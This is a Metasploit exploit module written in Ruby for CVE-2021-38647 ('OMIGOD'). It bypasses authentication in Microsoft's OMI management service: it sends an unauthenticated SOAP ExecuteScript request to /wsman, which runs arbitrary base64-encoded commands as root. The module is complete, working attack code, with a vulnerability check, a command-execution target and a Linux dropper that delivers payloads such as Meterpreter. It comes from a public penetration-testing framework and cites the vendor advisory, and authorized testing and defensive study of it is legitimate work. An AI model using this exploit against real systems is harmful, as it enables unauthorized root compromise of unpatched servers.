##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  XML_NS = { 'p' => 'http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem' }.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft OMI Management Interface Authentication Bypass',
        'Description' => %q{
          By removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint
          that will cause it to execute an operating system command as the root user. This vulnerability was patched in
          OMI version 1.6.8-1 (released September 8th 2021).
        },
        'Author' => [
          'Nir Ohfeld', # vulnerability discovery & research
          'Shir Tamari', # vulnerability discovery & research
          'Spencer McIntyre', # metasploit module
          'wvu' # vulnerability research
        ],
        'References' => [
          ['CVE', '2021-38647'],
          ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647'],
          ['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],
          ['URL', 'https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/'],
          ['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']
        ],
        'DisclosureDate' => '2021-09-14',
        'License' => MSF_LICENSE,
        'Platform' => ['linux', 'unix'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'RPORT' => 5985,
          'SSL' => false,
          'MeterpreterTryToFork' => true
        },
        'Notes' => {
          'AKA' => ['OMIGOD'],
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/wsman'])
    ])
  end

  def check
    http_res = send_command('id')
    return CheckCode::Unknown if http_res.nil?
    return CheckCode::Safe unless http_res.code == 200

    cmd_res = parse_response(http_res)
    return CheckCode::Unknown if cmd_res.nil? || cmd_res[:stdout] !~ /uid=(\d+)\(\S+\) /

    return CheckCode::Vulnerable("Command executed as uid #{Regexp.last_match(1)}.")
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd
      result = execute_command(payload.encoded)
      if result
        print_status(result[:stdout]) unless result[:stdout].blank?
        print_error(result[:stderr]) unless result[:stderr].blank?
      end
    when :linux_dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")
    res = send_command(cmd)

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")
    end

    parse_response(res)
  end

  def parse_response(res)
    return nil unless res&.code == 200

    return_code = res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:ReturnCode', XML_NS)&.content.to_i
    unless return_code == 0
      print_error("Failed to execute command: #{cmd} (status: #{return_code})")
    end

    {
      return_code: return_code,
      stdout: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdOut', XML_NS)&.content,
      stderr: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdErr', XML_NS)&.content
    }
  end

  def send_command(cmd)
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'ctype' => 'text/xml;charset=UTF-8',
      'data' => Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
        <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
          <s:Header>
            <a:To>HTTP://127.0.0.1:5985/wsman/</a:To>
            <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
            <a:ReplyTo>
              <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
            </a:ReplyTo>
            <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>
            <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
            <a:MessageID>uuid:#{Faker::Internet.uuid}</a:MessageID>
            <w:OperationTimeout>PT1M30S</w:OperationTimeout>
            <w:Locale xml:lang="en-us" s:mustUnderstand="false"/>
            <p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>
            <w:OptionSet s:mustUnderstand="true"/>
            <w:SelectorSet>
              <w:Selector Name="__cimnamespace">root/scx</w:Selector>
            </w:SelectorSet>
          </s:Header>
          <s:Body>
            <p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
              <p:Script>#{Rex::Text.encode_base64(cmd)}</p:Script>
              <p:Arguments/>
              <p:timeout>0</p:timeout>
              <p:b64encoded>true</p:b64encoded>
            </p:ExecuteScript_INPUT>
          </s:Body>
        </s:Envelope>
      ENVELOPE
    )
  end
end
